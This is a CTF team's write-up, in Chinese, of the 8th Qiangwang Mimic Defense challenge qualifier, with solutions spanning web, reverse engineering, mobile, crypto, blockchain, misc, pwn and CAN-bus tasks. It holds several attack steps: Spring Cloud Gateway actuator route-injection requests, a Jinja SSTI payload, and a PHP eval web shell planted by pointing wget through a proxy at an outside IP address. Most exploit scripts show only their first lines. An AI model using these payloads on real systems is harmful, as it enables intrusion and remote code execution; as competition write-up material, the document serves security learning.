第八届“强网”拟态防御国际精英挑战赛 SU Writeup
本次 强网拟态线上预选赛 我们 SU 取得了第一名🏆 的成绩,感谢队里师傅们的辛苦付出!同时我们也在持续招人,欢迎发送个人简介至:suers_xctf@126.com 或者直接联系baozongwi QQ:2405758945。
以下是我们 SU 第八届“强网”拟态防御国际精英挑战赛 的 WriteUp。
Web
Ezcloud
最开始是找到了 https://blog.csdn.net/guo15890025019/article/details/129503346
但是复现怎么都不成功,创建路由前面都是对的,然后找有没得Bypass,找到这个
https://rce.moe/2025/09/29/CVE-2025-41243 正好解决我的问题,直接开干
通过bean map 禁用安全限制,然后刷新路由、添加路由
1 | POST /actuator/gateway/routes/step1 |
1 | POST /actuator/gateway/refresh |
1 | GET /actuator/gateway/routes/step1 |
然后修改配置
1 | { |
继续修改
1 | { |
然后访问 /webjars/flag 就能获得 flag,虽然最后是 404 但是不影响

safesecret
漏洞点在这里的ssti

获取secret, 这里需要ssrf

这一步可以直接ai问出来
exploit_server.py:
1 | from http.server import BaseHTTPRequestHandler, HTTPServer |
请求
1 | /fetch?url=http://vps_ip:8000/1 |
可以获取到secret
接下来是绕过waf, 题目把config ban了, 不能直接往config中存对象来缩小paylaod长度
注意到
1 | app.jinja_env.globals.update(sget=sget) |
题目把sset和sget注册到了app.jinja_env.globals中, 这使得我们可以在payload中直接使用这两个函数, 并且可以通过类似sset.__globals__拿到它的__globals__
并且题目有一个read函数
1 | def read(f): return open(f).read() |

我们可以从sset.__globals__直接获取到, 并且也可以直接使用sset把某些字符串存进session
最终构造出以下payload
1 | {% print(sset('g',request.args.a)) %}&a=__globals__ |
分三次执行即可
smallcode
原题直接,wp照着复现一遍
1 | http_proxy=156.238.233.111:5566 |
简单编码一下内容
context=aHR0cF9wcm94eT0xNTYuMjM4LjIzMy4xMTE6NTU2Ng0Kb3V0cHV0X2RvY3VtZW50PS92YXIvd3d3L2h0bWwvc2hlbGwucGhw
访问/1.txt确认是否正常输入
vps起一个内容
1 | <?php phpinfo();@eval($_POST['orange']);?> |
起一个python
1 | from flask import Flask, make_response |
这时候输入
1 | env=WGETRC=/var/www/html/1.txt |


1 | find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \; |

ecshop
不告诉你,这个就是很 ez,自己审代码去吧

Reverse
HyperJump
Vm逻辑太复杂不想看,发现函数是单字节加密(每次比较一个字节),因此直接pintool爆破了,因为错误会提前退出,导致指令执行数目大大减少
1 | #!/usr/bin/env python3 |
得到flag{m4z3d_vm_jump5__42}
Icall
地址混淆+控制流平坦化,不会还原只能上动调
首先init里出现了pthread_create创建新线程导致调试器附加失败(反调),因此直接跳过pthread_create的调用(IDA来set ip),接着跳过exit的调用


接着就可以F9来到main一点点调试,首先关注到解密出来了一个字符串”arf@gocrying”

然后输入字符串

然后循环做了放射处理

接着就是RC4,观察到了init和异或,同时该流程调用了三次


由于一直没复现出来,所以直接下条件断点提取异或值

提取出来异或的v10(keystream,正好是90个,也就是每次加密30个字符)
1 | s = """108 91 |
得到flag{r0uNd_Rc4_Aff1neEnc1yp0!}
Mobile
EzMiniApp
wxapkg.exe解包小程序,发现逻辑在app-service.js
加密逻辑是一个旋转混淆,逻辑如下:
1 | enigmaticTransformation: function(a, t) { |
然后主函数的验证逻辑是:
1 | var a = this.data.inputValue; |
直接求逆即可
1 | def decrypt(cipher, key): |
得到flag:flag{JustEasyMiniProgram}
Just
il2cpp的加固,思考如何解密il2cpp.so

UnityPlayerActivity中载入了just.so,后续不再有任何JNI调用,说明利用了构造函数或者Jni_onload
Just.so Hook了dlopen解密il2cpp.so

可以看到解密逻辑是RC4+^0x33
密钥在上文中是nihaounity

解密到so文件,直接尝试il2cppdumper是失败的,发现metadata也被加密了,metadata是在il2cpp.so中进行加密的

看到加密逻辑,这里直接解密
1 | #!/usr/bin/env python3 |
接下来il2cppdumper直接恢复符号了


TEA轮子没有任何魔改,就是tea加密自身之后再进行异或,引入流密码特性

根据PrivateImplementationDetails的特性,构造函数的这个内容是通过dump.cs找偏移在global-metadata中取值

根据偏移索引地址

即可找到密文密钥
根据tea特性4个uint为密钥,40bytes自然是密文
1 | import struct |
Crypto
Unsafe Parameters
多因子共私钥攻击,按照这篇论文去打
http://ijeie.jalaxy.com.tw/contents/ijeie-v7-n2/ijeie-2017-v7-n2-p79-87.pdf
1 | from Crypto.Util.number import * |
然后就是已知e,d,n分解n了,套板子梭哈
完整exp
1 | from Crypto.Util.number import * |
FMS
粗略阅读代码可以知道admin用户的密码是由PRNG类对象prng的choices方法生成的,所以如果我们要获得密码的话只能先知道prng的种子是什么,观察代码中的PRNG类:
1 | class PRNG: |
很显然可以知道,所有方法几乎都是围绕着 randbytes 实现的,而 randbytes 中每个字节的生成实际上是一个这样的递推关系:
$$Y_{n+1} = [(aX_n + b) \mod p] \mod 256$$
其中 $Y_{n+1}$ 是 randbytes 的输出,$X_n$ 是PRNG内部状态,很明显,这是Truncated LCG (截断线性同余生成器),根据同余性质实际上有:
$$X_n = Y_n + 256k_n$$
所以上述递推式实际上等价于:
$$Y_{n+1} + 256k_{n+1} \equiv a(Y_n + 256k_n) + b \pmod{p}$$
因为 $a, b$ 都会给出,所以我们如果可以收集到足够多的样本 $Y_n$ 应该有可能通过构造格 (Lattice) 或者通过一种类似求小根的方式恢复出所有 $X_n = Y_n + 256k_n$。
观察代码可以看到,每次登录的时候系统都会调用 prng.randbytes(4) 生成四个随机字节,如果我们连续登录 $n$ 次的话就可以获得 $4n$ 个prng的截断输出,从而尝试使用 CVP (最近向量问题) 相关的格攻击解方程组 $Y_{n+1} + 256k_{n+1} \equiv a(Y_n + 256k_n) + b \pmod{p}$ 得到 $k_n$,从而恢复出 seed,这样就可以恢复出 admin 的密码了,与此同时,因为我们恢复了 prng,所以加密 flag 用的 key 和 iv 也就搞到了。
1 | from Crypto.Util.number import * |
blockchain
合约
1 | pragma solidity ^0.4.25; |
可以看到下一次正反是由上一次的 nonce 以及 block 自己的属性等生成的,但是只猜 10 次,所以可以大力出奇迹
1 | import random |

拿到密文是
1 | buiqhrvilHwigdClBuiTucduZnXmrLoHleieggbawsgsgcAyaFekhqWmAvqTocwhBuiiARfyurergyhNprwePcHcurmQsmGmqopirdhliaWpdRwIvhRphqgNproiBgGevBaRwfsyifiAlRvQpvglwfsemLQeBzswpnrkhbwmiAsXkcFjWvrXlLtuDbVsiRvyiqStWgcHwsxlLqqilrfCwfCmmqiWlPwhogSxuybMuvXmPncLbnrxPcGmitiWzgHbWhxXkcgfQtlxhQhxiakiUmtNprmvPcGmitiWecWhoeiegzMjWymxlaofwefyVgbyaFvmYyzmmGg |
用在线网站爆破密钥

flag{ineedyou}
Misc
Ciallo_Encrypt
日志中base64解码恢复内容
1 | 5qC45b+D5Luj56CB5oiR5bey5bCG5YW25pS+6L+b5LqGZm9ya+eahOengeS6uuS7k+W6k+mHjA== |
去github上查找对应的项目,给出了app的基本代码,去commit发现账户对应的用户和密码要求

在issue里提到了qq,简单处理得到
1 | 3517508570@qq.com |
进去发现有个历史存档的信息,需要尝试解密,根据一开始的提示,需要爆破一下隐藏的commit拿到加密的代码
1 | EXPORT GITHUB_TOKEN=ghp_Jk... |

随机访问一个拿到加密逻辑

带上密文和时间戳给ai写解密脚本
1 | from Crypto.Cipher import AES |
低空经济网络安全
全是udp的流量,wirkshark简单的手动分析一下在

类似这样B后面有明文,且刚好能拼成正常的flag的内容,手动补填一下
1 | ...Bk3d}. |
是乱序简单的拼接一下就能得到flag
1 | flag{dr0n3_fl1ght_c0ntr0ll3r_h4ck3d} |
Pwn
stack


sub_401354控制好输入可以泄漏rbp的栈地址。
sub_4013B9存在大量栈溢出。
在sub_4013B9中调试发现栈上存在libc地址:

我们可以通过合理控制rbp回到sub_401354来泄漏libc地址0x75ae10429d90然后顺便回到main函数0x401413,但是这样下一次printf会出现栈对齐问题,所以我们需要栈迁移一次避免调用main函数,而是直接调用sub_401354的read部分。
这样通过合理构造rbp完成栈上的栈迁移,通过sub_401354自带的printf将libc打印出来,然后接上一个sub_4013B9的read部分,再绕开沙盒执行orw即可获得flag:

exp:
1 | from pwn import * |
flag:

PinNote
看了一圈没看出问题,直到测这个 tmp/pin* 文件

如果两个进程同时指向一个文件,就可以篡改size,
1 | from pwn import * |
aaaheap
ARM aarch64 架构下的一个 glibc 堆体题目,UAF 漏洞, heap list 也在 heap 上,UAF 构造任意地址申请到heaplist后既可以任意地址读写,后面把 shellcode写到 heap上 然后修改 stack 上的返回地址, ret2shellcode
1 | from pwn import * |
babystack
程序逻辑如下,可以通过第二次输入将n180097847覆盖,然后直接getshell

1 | from pwn import * |
车联网
Can
沙箱
1 | line CODE JT JF K |
大概分析一下逻辑,先是一个密码

然后可以输入指令,但这上面这几个指令都没什么用。主要是下面的逻辑,我们可以发送3种类型的 ISO-TP 帧
- SF - 单帧
- FF - 首帧
- 输入
1#10xxxx
- 输入
- CF - 连续帧
- 连续输入
1#21...、1#22...、1#23...到了f就再回到1
- 连续输入
大概尝试了一下,可以利用处理 CF 帧的这个 if 判断来泄露 pie

没细看处理的逻辑,但大概尝试了一下
1 | sla('Enter magic number:\n','12803159') |
就能执行到这个else分支,应该是输入的 CF 帧不合法导致的
值得注意的是这个函数

memcpy没有对长度进行判断,当满足条件的时候就会执行下面这个 p_sub_16E0, 存放在 buf_ + 0x100 的位置

可以先发送一个 FF 帧,例如:发送 1#1008..., 发这个帧是为了设定 ::n 的大小 , 由1#1后面的三个数字来决定,这个例子中 ::n 会被设定为 8。
泄露出 pie_base 之后需要重新设置 FF 帧,把ret写到开头,接着就利用 CF 帧的memcpy布置rop链来泄露libc。这里rop链的结构是
1 | ret |
然后我们把 p_sub_16E0 覆盖成这个gadget push rdi ; pop rsp ; ret。因为执行 p_sub_16E0 之前寄存器的状态是这样的

用这个gadget就能把栈迁移到bss段上,最后通过fgets的溢出来布置orw的rop链即可
大概泄露了一下远程的libc

1 | from pwn import * |
第八届“强网”拟态防御国际精英挑战赛 SU Writeup